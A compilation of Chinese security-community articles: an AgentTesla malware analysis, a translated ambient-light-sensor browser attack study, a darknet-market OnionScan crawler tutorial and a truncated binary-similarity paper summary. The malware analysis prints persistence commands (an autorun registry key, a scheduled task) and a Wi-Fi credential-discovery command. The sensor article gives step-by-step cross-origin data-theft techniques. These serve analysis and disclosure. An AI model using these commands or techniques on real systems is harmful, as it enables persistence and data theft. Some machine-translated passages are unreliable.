像许多其他威胁一样，AgentTesla的主要传递机制是电子邮件（网络钓鱼邮件）。攻击者通常会及时处理其社交工程诱饵，并且当前的流行COVID病毒并未对攻击者构成限制。在过去的几个月中，观察到攻击者通过以COVID为主题的消息传播AgentTesla，这些攻击者常常伪装成来自WHO（World
Health Organization）的最新消息。
AgentTesla活动背后的参与者也使用了恶意的Office文档来促进第一阶段的交付。即使在当今的活动中，也利用了利用Office漏洞（例如[CVE-2017-11882](https://nvd.nist.gov/vuln/detail/CVE-2017-11882)和[CVE-2017-8570）](https://nvd.nist.gov/vuln/detail/CVE-2017-8570)制作的特制文档。这些以及类似漏洞允许在最少用户交互的情况下快速交付和执行（除了打开恶意文档并允许活动内容进行之外）。
## 新AgentTesla变体的功能集
随着时间的推移，AgentTesla已添加了其他功能。这些改进包括更强大的扩展和注入方法，以及无线网络详细信息和凭据的发现和盗窃。
目前，AgentTesla继续用于各种攻击阶段。其持久地管理和操纵受害者设备的能力仍然吸引了低级犯罪分子。AgentTesla现在能够从许多常见的VPN客户端，FTP和电子邮件客户端以及Web浏览器中获取配置数据和凭据。该恶意软件具有从注册表、相关配置或文件中提取凭证的能力。我们对当前AgentTesla样本的分析揭示了以下目标软件列表：
* 360浏览器
* 苹果Safari
* Becky！互联网邮件
* 黑鹰
* Brave
* CentBrowser
* CFTP
* Chedot
* Chromium
* Citrio
* 爪子邮件
* 可可
* 科摩多巨龙
* 酷诺
* 核心FTP
* CyberFox
* 元素
* Epic Privacy
* FileZilla
* FlashFXP
* Flock
* 谷歌浏览器
* 冰猫
* 冰龙
* IncrediMail
* IncrediMail
* KMeleon
* IncrediMail
* 猎宝
* Microsoft IE和Edge
* Microsoft Outlook
* 火狐浏览器
* Mozilla雷鸟
* 开放VPN
* 歌剧
* 歌剧邮件
* 轨道
* 苍白的月亮
* 邮箱
* QIP冲浪
* 高通Eudora
* 海猴子
* Sleipnir 6
* SmartFTP
* 人造卫星
* 腾讯QQ浏览器
* 球棒！电子邮件
* 火炬
* Trillian Messenger
* UC浏览器
* 乌兰
* 维瓦尔第
* 狐狸
* WinSCP
* Yandex
收集的数据通过SMTP或FTP传输到C2。传输方法取决于恶意软件的内部配置，其中还包括攻击者C2的凭据（FTP或SMTP）。
当前变体通常会删除或检索要注入的辅助可执行文件，或者它们将尝试注入目标主机上已经存在的已知（易受攻击）二进制文件。
例如，正如我们在示例中所看到的`4007480b1a8859415bc011e4981f49ce2ff7a7dd7e883fe70d9f304cbfefedea`，随后将RegAsm.exe的副本（放入％temp％中）注入了其中。然后，该RegAsm.exe的新实例将负责处理恶意活动（数据收集泄漏）。我们还可以看到经常使用“
[过程空心](https://attack.mitre.org/techniques/T1055/012/)
”作为注入方法。进程空洞允许创建或操作进程，通过该过程可将内存部分与该空间解除映射（空洞），然后使用所需的恶意代码进行重新分配。
一些示例在过程创建和后续注入方面的创意很少。例如，在sample中`b74bcc77983d587207c127129cfda146644f6a4078e9306f47ab665a86f4ad13`，我们可以观察到它在％temp％中创建隐藏的文件夹和进程，并将这些隐藏的进程实例用于主要感染例程，并用作持久进程（通过注册表设置）
/c copy "C:/Users/admin1/Desktop/tes_10.exe" "%temp%\FolderN\name.exe" /Y
## 执行行为
启动后，恶意软件将开始收集本地系统信息，安装键盘记录器模块以及初始化来发现和收集数据的例程。此过程的一部分包括基本的WMI查询。示例包括：
start iwbemservices::execquery - select * from win32_operatingsystem
start iwbemservices::execquery - select * from win32_processor
能够发现无线网络设置和凭据的最新示例将在短暂的睡眠时间（启动后）之后生成netsh.exe实例。最初使用的语法是：
Netsh.exe wlan show profile
持久性通常是通过注册表项输入或计划任务来实现的。
例如，在示例中`7ec2b40879d6be8a8c6b6ba239d5ae547604ad2605de0d2501a4cca25915afa1`，将可执行文件的副本放入?\
AppData \ Local \ Temp中，并使用以下语法作为目标，以生成持久性任务：
Schtasks.exe /Create /TN "Updates\xjZWstBWrIuw" /XML C:\Users\xxxxxx\AppData\Local\Temp\tmp1718.tmp"
在样本中`b74bcc77983d587207c127129cfda146644f6a4078e9306f47ab665a86f4ad13`，我们看到了一个通过注册表建立持久性的示例。启动后，恶意软件实例将作为隐藏文件放入隐藏文件夹中的％temp％。
/c copy "C:/Users/admin1/Desktop/tes_10.exe" "%temp%\FolderN\name.exe" /Y
然后，以下命令用于创建自动运行注册表项：
/c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%temp%\FolderN\name.exe.lnk" /f
## 结论
AgentTesla已经存在了几年，但我们看到它仍然被当作一个商品在许多的复杂攻击中被利用。攻击者不断进步，并找到成功逃避检测的使用AgentTesla等工具的新方法。归根结底，如果目标是收集和窃取数据，则攻击者将继续努力。因此，我们仍然看到像AgentTesla这样的“商品”工具，以及Pony，Loki和其他低挂水果恶意软件。与当时的社会工程学诱饵相结合时，这些非复杂的攻击将继续成功。检测和预防是减少暴露于这些威胁的关键。所述[SentinelOne平台](https://www.youtube.com/watch?v=mhJGzfzymME&feature=youtu.be)完全能够检测和防止基于AgentTesla恶意活动。
## IOC
**MITER ATT＆CK**
修改注册表（[T1112](https://attack.mitre.org/techniques/T1112/)）
颠覆信任控件：安装根证书（[T1553.004](https://attack.mitre.org/techniques/T1055/012/)）
隐藏工件：NTFS文件属性（[T1564.004](https://attack.mitre.org/techniques/T1564/004/)）
劫持执行流：DLL搜索顺序劫持（[T1574.001](https://attack.mitre.org/techniques/T1574/001/)）
进程注入：进程空心（[T1055） .012](https://attack.mitre.org/techniques/T1055/012/)）
信息存储库中的数据（[T1213](https://attack.mitre.org/techniques/T1213/)）
引导或登录自动启动执行：注册表运行键/启动文件夹（[T1547.001](https://attack.mitre.org/techniques/T1547/001/)）
进程注入（[T1055](https://attack.mitre.org/techniques/T1055/)）
不安全的凭据：文件中的凭据（[T1552.001](https://attack.mitre.org/techniques/T1552/001/)）
系统信息发现（[T1082](https://attack.mitre.org/techniques/T1082/)）
查询注册表（[T1012](https://attack.mitre.org/techniques/T1012/)）
OS凭证转储（[T1003](https://attack.mitre.org/techniques/T1003/)）
计划任务（[T1053](https://attack.mitre.org/techniques/T1053/)）
**SHA256**
70aecc29ffb60caf068e4d8107f4d53fcdbd333bed7ac6fb3a852b00e86ded31
7d1bcec8a3f71910e15cbb3adae945cd5096b7de259b51aef8f2e229bd4b40e2
7ec2b40879d6be8a8c6b6ba239d5ae547604ad2605de0d2501a4cca25915afa1
9b27388be292aea50d62cfebd130a9832f0d676feb28771d70d3e30bdb117f3a
a040efaf5dfac863805103ea0aa90a15b3690ad060188a15ea7d68491b274123
aa08d96a25908ce76e07475aefbbe192bd812665a5600dc30600688510dd033e
be26ad023b732078c42b4f95067fb9107fe88aebd7ebbf852e7e968e50eee8a0
1abf66ab839c550bc77d97d1644c1225935a86b9591e9a95bcd606ebec6bbc19
b74bcc77983d587207c127129cfda146644f6a4078e9306f47ab665a86f4ad13
f44c6c8c1c81f9990f11a0f70e6517c358fc1ee00a78b32461d4a2594b48e47d
9fee57918672137160499dcd1a099670ef8f9a787f3a1ad6d8123df26cddbc3b
4007480b1a8859415bc011e4981f49ce2ff7a7dd7e883fe70d9f304cbfefedea
590c19542f6959d6424107eb4f2998b04d035575341b1f23a40dea6d82aecadd
648261052662b044dc233349ccdfa9dfd6853ec9a21ced386f8f172b2568b0d1
f24018dead69b0f899d33e73f72f5c3ef6f3c391850484b06b042f36dbc08cac
7ce7bf11f6285621381b80027c488e9b5009205131a89738975ccc89574a1533
e2473526523180f460af4d8e164df9060c9f328cc7c0bae5846d51b28c12febe
7adc0e8236262080e62c4bfb97e745880247f9e244ae8718e60cc217a3ae773b
0107fadc185fd6b53dc033d4a79e53ef1621ae623917de029b6c02eeae2021c1
388386f3361138514c561dcf6169e8f9e8726c91e2dc66663efb07bf21ece052
507b63c73ba3bee19c8c8afb40526c1196240376277f4b49e25bedc5d866b980
**SHA1**
a2ad3ec4cd2d70edf2bc9089c493f898b7da44a5
8f841e8f7d2c3334145c8c9f89c8cd6929a06b2a
3390272bb793ad15a45d647c3e5a716145fd262a
8cd26c88b74f913f6e1c9d71a8d1e9aa53b7c6f6
160c5583f9ba3d11e94a0dd8c9a64936981e8194
859f498f0ba963e468a3912d936ad8e7ec01dbcd
90fc8a737a7030db2e3583cbccb3156bb0a8ff12
683efb5746e85867b5d613dc07a116a80becce58
6c2d55f7fcecdcae779b148f0060b8ab4062e0a9
7617dc78df626d5df43e38506fa7c577baef4bc5
05d74461b2a63b75f319ef2c5c4aa074af4e97c3
9e9c8ef7f20677795684b2749a59367cf5c3ec0a
3e15c7c82b875c3553456dc08a8b79019cb48644
7e674dd61f0802316bc092ffd44f5b8a36ab26d5
7cf661644a638dcb554a81ba490ddcaee2ed6f12
5b744ce5d3cccd556d66704d8fdde882ea928829
94277994af62de5948d6de134edac0089a54b71e
3ce8f4bfeb99fa2fb8898c7664ad3838ce4a4fcf
4ffa900d7cf3ae6414bf90f6c9a4667cedfd57dd
83be2722b7adc91bc3ee219b75e9176bc7ce8e6e
72d3d907d7502c383ffc8239d255882838a5a6e4
* * * | 社区文章 |
# 【技术分享】看我如何通过W3C环境光传感器API窃取浏览器中的敏感数据
|
##### 译文声明
本文是翻译文章，文章来源：lukaszolejnik.com
原文地址：<https://blog.lukaszolejnik.com/stealing-sensitive-browser-data-with-the-w3c-ambient-light-sensor-api/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[360代码卫士](http://bobao.360.cn/member/contribute?uid=2873043487)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
本文会说明并演示如何巧妙地通过一款让人称奇的工具提取浏览器中的敏感信息。这款工具就是智能手机或笔记本电脑的环境光传感器。
**（1） 我们提供了关于光传感器API的背景信息和当前的相关讨论情况，将其暴露给更多网站。**
**（2）
我们说明了用户设备屏幕的颜色如何能够影响到传感器读数，并解释了它会带来严重的安全和隐私后果。我们主要关注从跨域框架中提取浏览历史和窃取数据，它可能会让攻击者发现敏感文档和图像内容（如账户恢复的QR码）。**
****
**（3） 我们讨论了浏览器厂商和标准维护者们可缓解该风险的应对措施。** **** ****
这种攻击在火狐和Chrome的当前版本（实验结果）、在带有光传感器的安卓和桌面设备如MacBook Pro中均起作用。
本文是作者以及[@LukOlejnik](https://twitter.com/lukOlejnik/)和[@arturjanc](https://twitter.com/arturjanc/)的合作成果。
**背景：智能手机中的光传感器**
如今，所有智能手机和很多现代笔记本电脑都配有一个环境光传感器。这种传感器会放置在设备顶端的位置，通常挨近前端的摄像头位置。智能手机一直都利用环境光读数来调整显示两度以节约用电量，或者进行近感探测。光条件信息可用于设计响应式智能手机应用程序或者配置硬件本身。多少有点毫不让人惊讶的是，光传感器读数可能非常敏感。
环境光传感器返回的数据非常精确。光线强度用照明单位勒克司来标示，输出数据范围是0（黑暗）到好几万（勒克司）传感器的读数频率相对较高，介于100到200毫秒。
为了提高跟原生app的竞争力，网站不久之后或许能够访问环境光读数。一个W3C设备和传感器工作组目前正在讨论是否允许网站在不要求用户许可的情况下读取光传感器。Chrome和火狐浏览器最新版本都有API实现。
**传感器隐私**
这项研究源于最近W3C关于通用传感器API的讨论，其中一种提案认为读取某些传感器数据不应当要求请求获取用户许可。作为回应，我们决定调查一下环境光传感器（ALS）背后可能存在的恶意意图；此前我已经分析了ALS的安全和隐私问题，它可能会引入数据追踪、分析和泄露的新方法：其中一个示例讨论了“检测两个人同时位于同一房间内”，另外一个例子分析了发现银行PIN码的可能性。
本文将会把这些担忧放在一边，主要考虑传感器读数如何帮助活跃攻击者从用户浏览器中提取隐私数据。
现在，我们来重点讨论真实的攻击。
**使用光传感器提取信息**
到底如何通过环境光传感器提取私人数据？我们的攻击基于如下两个观察结果：
**用户屏幕的颜色能携带有用信息，而网站出于安全原因的考虑无法直接获取。**
**攻击者能通过光传感器读数区分出不同的屏幕颜色。**
我们随后会对第二点进行更详细的解读，但一言以蔽之，来自屏幕的光能对光传感器读数产生巨大影响，网站从而能够判断出用户屏幕的颜色（或者在最简单的情况下，能够区别黑屏和白屏）。
以上提到的第一点可能更让人惊讶；毕竟，所有的网站都能控制自己在用户屏幕上所展示的信息，那么为何这种数据会很有意思呢？在两种情况下网站无法直接获取用户部分屏幕的颜色：
**已访问链接的颜色。出于隐私原因的考虑，浏览器会在页面所展示链接的颜色上对开发人员说谎；否则恶意开发人员就能够应用:visited
的多种style并检测到用户历史中出现了哪些网站。**
**跨域资源。同源策略阻止evil.com直接访问来自victim.com的资源。然而，虽然站点无法检查来自其它来源的框架或图像，他们能够在屏幕上做出展示并更改如何对用户呈现，包括任意缩放比例并更改颜色等。**
我们的攻击依赖于将此类资源展示在屏幕上并检测到它们的颜色，每次都泄露一点信息。如下是这种攻击如何在实际中起作用（使用我们早前冗长的展示）：
**检测访问过的链接**
由于网站能够在已访问和未访问链接中应用不同的style，但无法检测到这些链接是如何展示给用户的，因此，我们使用传感器来识别出它的真实颜色。
（1） 设置链接的style：已访问过的（白色），未访问过的（黑色）。
（2） 校准：展示一个白色背景，然后跟上黑色背景从而识别出用户环境中的光级别；这也有可能实现但更难，如果传感器读数波动幅度大的话。
（3） 循环访问链接清单，一个链接一个链接地访问，然后将它们像一个大长方形那样展示出来，填满整个屏幕。已访问过的链接会显示为白色，未访问的显示为黑色。
（4） 记录光级别作为展示每个链接的响应方式，识别出链接的颜色。由于我们在第二步已经校准了屏幕，因此我们就能知道每个读数所代表的颜色。
最后，攻击者会获取屏幕是白色的链接清单，并且知道用户之前已经访问过给定的页面。
虽然在PoC演示中，我们依靠的是假定光条件不会在提取阶段发生变化，但在处理这些情况中使用这些演示也应该没问题。在第一个演示中，我们想要强调的是光读数会发生变化。然而，在现实中不难克服这个障碍。
**窃取跨域资源**
更麻烦的事实是攻击者能够提取像素完美的跨域图像和框架：关键的是，发现既定网站或图像如何寻找遭攻击的用户（我们在演示中关注图像是因为它们更容易提取）。在极端案例中，例如那些紧急访问某个账户从而使用账户恢复QR码的站点(<https://victim.com/account-code.png> )，攻击者就能劫持用户账户。
这种攻击跟[《像素完美定时》](https://www.contextis.com/documents/2/Browser_Timing_Attacks.pdf)论文中所使用的技术类似，它起作用的方式如下：
（1） 内嵌一个来自遭攻击域名的图像；一般来讲，这会成为不同验证用户的资源，如登录用户的头像或安全码。
（2） 使用SVG过滤器创建图像的黑白格式（SVG中的过滤器也在跨域资源中起作用）。
（3） 缩放图像，这样每个像素都可填满整个屏幕。
（4） 遍历图像中的所有像素，在用户屏幕上将它们都展示出来，并记录这个像素的光传感器读数。
（5） 从每个像素读数中撰写结果图像。
这样就能从任何允许跨域内嵌框架（没有X-Frame-Options头或者框架前身内容安全策略指令）的文档中提取所有的图像资源和数据。
**攻击详情和其它考虑因素**
既然我们演示了这些攻击，我们就可以讨论一下实际利用这种技术的考虑因素。
**检测速度**
由于我们每次都提取一点点信息，利用中的一个主要限制因素就是检测速度。原则上，浏览器传感器能够传输60Hz读取速率。然而，这不意味着我们每秒钟就能提取60位，因为最终的检测限制跟传感器能够检测到的屏幕亮度变化有关。在实验中，我们测试的屏幕亮度读数延迟是200到300毫秒，而对于一个完全可靠的利用来说，假设每500毫秒传输1位更实际。
在这个检测速率下，示例检测次数如下：
**8个字符的明文字符串：24秒（假设对于以一个已知字体呈现的字母数字字符串来说，每个字符是6位）**
**16个字符的明文字符串：48秒**
**20×20 QR码：3分钟20秒**
**之前检测1000个流行URL：8分钟20秒**
**64×64像素图像：34分钟8秒**
用户不可能会忍受一个似乎在黑白之间来回切换很长时间以检测即使很短的文本字符串的网站。然而，在某些情况下，当用户不用设备时（比如晚上将设备放到架子上），攻击者就能够提取更多的数据；恶意网站能利用scree.keepAwake
API来让它无限制显示。
未来，光传感器有可能能够测量强度或光饱和度（红色、绿色、蓝色），从而让攻击发生得更快。
**传感器读数的准确性**
虽然光传感器本身提供了准确的读数，但这种技术的一个实际困难之处在于测试过程中不断变化的光条件，以及用户会拿着设备移动的可能性（尤其是移动手机）。
我们发现结果的准确度受多个因素的影响，如屏幕亮度（屏幕越亮越对攻击有利）、传感器上方反射面的距离和角度（放在架子上的手机会从平行表面反射光从而产生好的结果；缺乏反射面会让攻击变得非常难）、以及周围光的数量（环境越暗，噪音越少，检测就越容易）。
**浏览器支持**
攻击在现代浏览器中起作用：火狐和Chrome浏览器目前会将老旧API作为环境光事件，我们在演示中也用了这一点。在火狐浏览器中不需要权限，但在Chrome中目前还要求启用chrome://flags#enable-experimental-web-platform-features标记。这个老旧的API不久之后会被替代为新的环境光传感器API，这个API目前在Chrome中实现（chrome://flags#enable-generic-sensor），它在功能上跟我们的目的一致。
我们已将安全/隐私漏洞报告提交给了[火狐](https://bugzilla.mozilla.org/show_bug.cgi?id=1357733)和[Chrome](https://bugs.chromium.org/p/chromium/issues/detail?id=713167)。
**应对措施**
当前提案认为以下的保护措施就足够了：
**限制传感器读数频率（低于60Hz）**
**限制传感器输出精度（量化结果）**
以我们所知，这些预防措施是基于研究成果漏洞报告的响应，这说明可使用陀螺仪恢复音频信号。我们的理解是Chrome提案尝试将“陀螺仪误用”的解决方案应用于其它传感器，对于所有实例来说可能不足。尝试生成构建于具体和专门风险之上的威胁模式可能并不正确。
对于光传感器来说，限制频率将不会阻止我们的攻击；即使频率低至1Hz，，也会发生同样的攻击，只不过速度会变缓。
限制输出的精准度可能是更好的解决方案，只要能保证屏幕颜色不会影响传感器的输出级别就可。可能在某些其他情况下攻击也可能实现（亮屏、反射面离屏幕很近），但在实践中的难度更大。
可能最显而易见的解决方案是要求用户给予请求访问传感器的网站权限，就像其他功能如地理位置那样。将安全和隐私考虑放到环境光传感器API规范中来记录如上的攻击风险也是稳妥的办法。
**用户建议**
在火狐浏览器中，尝试在about:config中禁用传感器——将device.sensors.enabled设置为“false”。在Chrome浏览器中，多数用户当前应该是不会受到这种攻击，除非用户手动启用了此前提及的试验性标记。
**网络开发人员建议**
为了保护文档被不受信任网站实施内嵌框架，将X-Frame-options设置为拒绝HTTP头。这样做还会阻止其它类型的攻击如点击劫持攻击。
目前尚无缓解针对图像的攻击，因为它们并不受X-Frame-Options的限制。
**总结**
所展示的攻击表明，看似无恶意的环境光传感器能让恶意网站违反同源策略、窃取跨域数据并提取用户浏览历史信息。
这里的经验就是，从隐私工程角度来设计规范和系统是一个复杂的进程：应该严肃重视在未部署任何保护措施的情况下做出将敏感API暴露到网络的决策。危险之一就是规范作者和浏览器厂商会基于过于宽泛的但不适用于某个具体新功能的原则和研究结果而做出决策（类似于陀螺仪读数保护措施并不足以保护光传感器数据）。
可能更让人兴奋的经验是，技术标准、隐私工程和隐私影响评估充满乐趣，它能让我们发现会给现实生活带来后果的微小问题。如需提供任何关于规范或功能方面的帮助，可[随时联系](https://lukaszolejnik.com/)作者。 | 社区文章 |
# 【技术分享】如何使用OnionScan定制暗网爬虫
|
##### 译文声明
本文是翻译文章，文章来源：mascherari
原文地址：<https://mascherari.press/building-custom-dark-web-bots-with-onionscan-custom-crawls/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **人丑批不丑**](http://bobao.360.cn/member/contribute?uid=404360756)
**稿费：100RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 ** ** ** **[
**网页版**](http://bobao.360.cn/contribute/index)********** **在线投稿**
**前言**
OnionScan 0.2 已经发布了!这篇文章将带着你去了解它最新最棒的功能之一 — 定制爬虫
别说话，快上车！
OnionScan打包了多种类型的暗网服务识别方式，例如比特币地址，pgp密钥，以及Email地址。
然而由于许多服务使用非标准化格式发布数据，导致使用工具进行自动化处理的难度增大。
OnionScan通过为每个网站规定一种定制relationships的方式来解决这个问题，这些relationships在之后会导入到与他们相关的引擎，以便更好的使用。
**例子**
作为例子，我们先来看看Hansa商城。写爬虫嘛，我们想要得到他所卖商品的名称，属于什么商品类别，售卖者是谁呢？通过审查信息，我们获悉这些都信息可以从/listing产品页面中获得。
在此之前，我们必须建立一个定制的网络爬虫来提取这些信息，处理信息，将信息加入表单以便我们可以进行分析。在OnionScan
0.2中我们只需要简单的定义一下配置文件。
{
"onion":"hansamkt2rr6nfg3.onion",
"base":"/",
"exclude":["/forums","/support", "/login","/register","?showFilters=true","/img", "/inc", "/css", "/link", "/dashboard", "/feedback", "/terms", "/message"],
"relationships":[{"name":"Listing",
"triggeridentifierregex":"/listing/([0-9]*)/",
"extrarelationships":[
{
"name":"Title",
"type":"listing-title",
"regex":"<h2>(.*)</h2>"
},
{
"name":"Vendor",
"type":"username",
"regex":"<a href="/vendor/([^/]*)/">"
},
{
"name":"Price",
"type":"price",
"regex":"<strong>(USD [^<]*)</strong>"
},
{
"name":"Category",
"type":"category",
"regex":"<li><a href="/category/[0-9]*/">([^<]*)</a></li>",
"rollup": true
}
]
}
]
}
以下我们进行分步讲解：
前两行指定暗网服务器，在这里我们的目标为"onion":"hansamkt2rr6nfg3.onion"。至于base
URL我们想要从根目录下开始扫描("base":"/")。一些暗网服务器只有子目录下才有可用数据，比如/listings。在那种情况下我们可以使用base参数告知OnionScan略过网站的其他部分。
接下来exclude告知OnionScan排除某些类似"/forums","/support",
"/login","/register"的链接，因为这些链接里面的内容丝毫不能引起我们的肾上腺激素进行分泌作用。
最后便是relationships参数了，这也是我们爬虫的关键部分了。
relationships是由一个name参数和一个triggeridentifierregex参数来进行定义的，正则表达式应用于网站的URL，并且一旦规则匹配就会触发relationships。在本例中，我们告知OnionScan只要URL匹配到"/listing/([0-9]*)/"就触发Listing
relationships。同时OnionScan还会把URL中的数字(([0-9]*)) 作为relationships独特的标识符。
其次每条relationships信息都可以有一个extrarelationships参数，OnionScan会寻找这些信息，并为前文提取完的信息分配唯一的标识符。
举例，在我们的配置文件中我们定义了4个额外的关联信息：Title, Vendor,
Price以及Category。每个额外关联中都有一个name和type参数，以及一个正则表达式regex，这些参数OnionScan会在他们的相关引擎中使用。该正则表达式是用来从之前触发条件的网页中提取信息用的。
对于Hansa商城这个例子来说，通过寻找超链接结构 <a href="/vendor/([^/]*)/">
我们可以从/listing/产品销售页面中获知产品供应商名称。通过寻找类似的超链接结构，我们还可以获得标题，价格以及产品目录清单。
Category下面的rollup参数是OnionScan用来统计数据的指令，在之后我们可以通过该命令画出图表进行研究。
此时此刻，我们应该告知OnionScan如何从Hansa商城读取一份销售清单了，接下来就看OnionScan的表现了。
将上面的配置文件放到名为service-configs的文件夹中，之后使用以下命令调用OnionScan扫描商城：
./onionscan -scans web --depth 1 --crawlconfigdir ./service-configs/ --webport 8080 --verbose hansamkt2rr6nfg3.onion
OnionScan运行一段时间之后，你可以在浏览器中打开localhost:8080，在搜索框中键入hansamkt2rr6nfg3.onion。向下滚动列表，最后你应该可以获取以下信息：
**后记**
正如你所看到的，OnionScan通过简单的配置就能完成这么多任务。我们前面定义的这些爬虫关联信息现在都可以进行搜索，并且还可以关联OnionScan发现的其他信息。
由于我们设置了OnionScan的rollup参数，所以有生成Category的图表。希望大家在认识到该功能强大的同时，能与我们一同维护，分享不同类型的配置信息。
这仅仅是开始！我们还有很多点子想在OnionScan上实现，赶快通过[Github](https://github.com/s-rah/onionscan/issues)找到我们吧。 | 社区文章 |
# AAAI-20论文解读：基于图神经网络的二进制代码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
腾讯安全科恩实验室《Order Matters: Semantic-Aware Neural Networks for Binary Code
Similarity
Detection》论文入选人工智能领域顶级学术会议AAAI-20。研究核心是利用AI算法解决大规模二进制程序函数相似性分析的问题，本文将深入对该论文进行解读，点击链接获取完整论文。https://keenlab.tencent.com/en/whitepapers/Ordermatters.pdf
二进制函数相似性比对演示效果：
论文：Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity
Detection
单位 | 腾讯安全科恩实验室
## 引言 & 背景
二进制代码分析是信息安全领域中非常重要的研究领域之一，其中一类目标是在不访问源代码的情况下检测相似的二进制函数。同一份源代码在不同编译器，不同平台，不同优化选项的条件下所得到的二进制代码是不相同的，我们的任务目标是把同一份源代码所编译出的不同的二进制代码找到。传统算法使用图匹配算法解决此问题，但图匹配算法的速度较慢，且准确率较低。随着近年来深度学习算法的发展，学者们尝试在控制流图（CFG）上使用图神经网络算法，取得了不错的效果。
图1. 控制流图（CFG）以及表示成低维向量的block特征
论文[1]提出了名为Gemini的基于图神经网络的算法，它的输入是两个二进制函数的pair，输出是这两个二进制函数的相似度得分。首先，将二进制函数的控制流图作为输入，并使用人工设计的特征提取方法将每个block表示成低维的向量（如图1所示）；然后使用Structure2vec算法计算graph
embedding；最后使用siamese网络计算相似度得分并使用梯度下降算法降loss训练模型（如图2所示）。与传统方法相比，Gemini的速度和准确率都大幅提升。
图2. siamese网络结构
虽然上述方法取得了很大的进步，但仍有一些重要的问题值得研究。一方面，如图1所示，每一个block被表示成一个低维向量，这个特征提取的过程是人工设计的，在Gemini中block特征只有8维向量，这个压缩的过程会损失很多语义信息。另一方面，在二进制代码中节点的顺序是一个很重要的特征，而之前的模型没有设计特殊的算法提取这一特征。图3是函数”_freading”在不同平台x86-64和ARM上编译出的二进制代码的控制流图。这两个控制流图的节点顺序是非常相似的，例如node1都与node2和node3相连，node2都与node4和node5相连，而这种相似性可以体现在它们的邻接矩阵上。经过观察，我们发现许多控制流图的节点顺序变化是很小的。为了解决以上两个问题，我们设计了一种总体的框架，包含semantic-aware模块、structural-aware模块以及order-aware模块。
图3. 函数”_freading”在不同平台（x86-64和ARM）上编译出的控制流图以及对应的邻接矩阵
## 模型
整体结构：模型的输入为二进制代码的控制流图，模型的整体结构如图4所示，包含semantic-aware 模块、structural-aware模块、order-aware模块。在semantic-aware模块，模型将控制流图作为输入，使用BERT[2]对token
embedding作预训练，得到block embedding。在structural-aware模块，使用MPNN算法[3]得到graph
semantic & structural embedding。在order-aware模块，模型将控制流图的邻接矩阵作为输入，并使用CNN计算graph
order embedding。最后对两个向量使用concat和MLP得到最终的graph embedding，如公式1所示。
图4. 模型整体结构
Semantic-aware 模块：在semantic-aware模块，可以使用BERT、word2vec等常用模型提取语义信息。本文中使用BERT对控制流图作预训练，从而获得block的语义信息。BERT原用于NLP领域中，对词语与句子作预训练。我们的任务与NLP任务相似，控制流图的block可以看作句子，block中的token可以看作词语。如图5所示，训练过程中BERT有4个任务：Masked
language model（MLM）、Adjacency node prediction（ANP）、Block inside
graph（BIG）和Graph classification（GC）。
图5. 语义信息提取BERT模型
其中MLM和ANP是和BERT的原论文中相似的两个任务。MLM是一个token-level的任务，对block中的token进行mask操作并进行预测，和语言模型的方式相同。ANP任务是一个block-level的任务，虽然控制流图没有NLP领域中的语言顺序，但控制流图是一个有向图，也有节点的拓扑顺序，我们将控制流图中的所有相邻节点提取出来，当作相邻的“句子”。这些相邻的block
pair作为ANP任务的正例，并随机选择同图内不相邻的block pair作为负例。
为了获得更多的graph-level的信息，我们加入了两个辅助的graph-level任务BIG和GC。BIG和ANP的方式类似，区别是pair的正负例选择方式不同。BIG任务的目的是让模型判断两个block是否在同一个图中，希望模型可以尽可能地学到此信息，从而对我们的graph-level task有帮助。因此，在BIG任务中同图的block pair为正例，不同图的block pair为负例。GC为graph-level的block分类任务，在我们的场景中，在不同平台、不同编译器、不同优化选项的条件下，得到的block信息有所不同，我们希望模型可以让block
embedding中包含这种信息。GC对block进行分类，判断block属于哪个平台，哪个编译器，以及哪个优化选项。
Structural-aware 模块：经过BERT预训练后，使用MPNN计算控制流图的graph semantic & structural
embedding。MPNN有三个步骤：message function（M），update function（U）以及readout
function（R）。具体步骤如公式2-公式4所示。
其中G代表整个图，v代表节点，N(v)代表v的邻居节点。在本文的场景中，节点即是控制流图中的block，图即是经过预训练后表示成block向量的控制流图。本文在message步骤使用MLP，update步骤使用GRU，readout步骤使用sum，如公式5-公式7所示。
Order-aware
模块：本模块希望可以提取节点顺序的信息，本文中使用的是CNN模型。为什么使用CNN模型呢？首先考虑图6中的三个图（节点中无语义信息），以及它们的邻接矩阵。这三个图非常相似，每个图中都有一个三角形特征（图a的节点123，图b的节点234，图c的节点134），这个特征体现在它们的邻接矩阵中。首先对比图a和图b，与图a相比，图b加入了节点1，节点顺序依次后移一位，但三角形特征中三个节点的顺序还是连续的，这个特征在邻接矩阵中可以看到，这个1-1-0-1的2*2矩阵仍然存在。CNN在训练集中看过很多这种样例后，可以学习到这种平移不变性。再看图c，加入了节点2，打破了原有三角形的节点顺序，但在邻接矩阵中我们可以看到它实际上是把原来的2*2矩阵放大成了3*3矩阵，当我们移除第二行和第二列时，仍然可以得到一个1-1-0-1的2*2矩阵。这与图像中的image
scaling类似，CNN在训练集中包含足够多样例的情况下，也是可以学到这种伸缩不变性的。
图6. 三个图以及对应邻接矩阵
本文中使用的模型是11层的Resnet结构[4]，包含3个residual block，所有的feature map大小均为3*3。之后用一个global
max pooling层，得到graph order embedding。在此之前不用pooling层，因为输入的图的大小不同。具体如公式8所示。
## 实验
本文在两个任务上进行实验。任务1为跨平台二进制代码分析，同一份源代码在不同的平台上进行编译，我们的目标是使模型对同一份源代码在不同平台上编译的两个控制流图pair的相似度得分高于不同源代码pair的相似度得分。任务2为二进制代码分类，判断控制流图属于哪个优化选项。各数据集的情况如表1所示。任务1是排序问题，因此使用MRR10和Rank1作为评价指标。任务2是分类问题，因此使用准确率作为评价指标。
表1. 数据集情况
表2和表3分别对应任务1和任务2的实验结果。表中第一个分块是整体模型，包括graph
kernel，Gemini以及MPNN模型。第二个分块是semantic-aware模块的对比实验，分别使用了word2vec[5]，skip
